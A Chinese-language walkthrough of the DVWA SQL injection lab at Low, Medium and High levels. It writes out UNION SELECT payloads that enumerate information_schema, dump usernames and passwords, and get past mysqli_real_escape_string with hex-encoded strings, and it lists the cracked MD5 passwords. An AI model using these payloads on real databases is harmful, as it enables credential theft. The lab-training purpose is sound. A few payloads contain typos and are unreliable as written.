获取数据库中的表（union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database()）
获取表中的字段名（union select 1，group_concat(colum_name) from information_schema.colums where table_name=’users’）
获得字段中的数据（union select user,password from users）,得到该数据库有五个用户。
仔细观察Surname可以发现，后面五个均为md5加密，通过在线的解密网站，解密后得到明文依次为123456、abc123、charley、letmein、password。
漏洞原因：没有进行预编译；用户数据拼接了代码，没有实现代码、数据分离；没有进行敏感字符过滤。 【Medium】级别
这里由于url栏没有参数，所以注入点只能是下拉框，但是下拉框没办法直接更改，所以这里需要抓包解决。抓包后发现结尾有参数可以更改，于是先判断注入点类型，首先尝试语句1 or 1=1#,在点击forward。
然后回到dvwa界面，发现页面中把所有的name和Surname都列出来了。因此这里可以判断注入点的类型为数字型且不需要闭合。
接下来判断字段数，当查询语句为1 or 1=1 order by 2时，页面能正常显示，但是当把2换成3时，页面就会报错，因此这里的字段数为2。
接下来，再通过union select来确定回显位置。
然后使用1 union select 1,database()#语句来查询数据库。
接下来查询表名，查询语句为：1 union select 1,table_name from information_schema.tables where table_schema=database()#。如下图所示，说明数据库中有两个表guestbook和users。
获取表中的字段名，当输入查询语句（1 union select 1,column_name from information_schema.columns where table_name='users'）后，会发现报错了，原因是语句中含有单引号。
该等级的源码和低级的源码比较，在用户输入id这里可以看到多了一个mysqli_real_escape_string函数，该函数主要功能是：转义在SQL语句中使用的字符串中的特殊字符。
所以这里在输入查询语句时不能含有特殊的字符，那么就可以把单引号里面的内容转换成十六进制，直接以十六进制的形式写上去。如下图所示，说明表中有八个字段，即Surname所列出来的八个。
获得字段中的数据，使用查询语句：1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #。结果如下图所示可以看到所有的user和对应的password。
漏洞原因：没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤，但是该函数并不能过滤一些敏感
的关键字，比如说：and,or这些，它只能转义一部分特殊的字符。 【High】级别
首先找页面中的注入点，这里很明显就是输入框，然后判断注入点的类型，通过输入判断语句后，可以得到这里的注入点类型是字符型。
然后接下来判断字段数，当在输入order by 3#的时候页面报错，因此这里的字段数为2。
接下来，再通过union select来确定回显位置。
下面查询数据库名称。
接下来查询表名，查询语句为：1’ union select 1,table_name from information_schema.tables where table_schema=database()#。如下图所示，说明数据库中有两个表guestbook和users。
获取表中的字段名：1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#。
获得字段中的数据（union select user,password from users）,得到该数据库有五个用户。
到这里SQL注入高级就完成了，总的来说跟前面两个操作流程差不多。
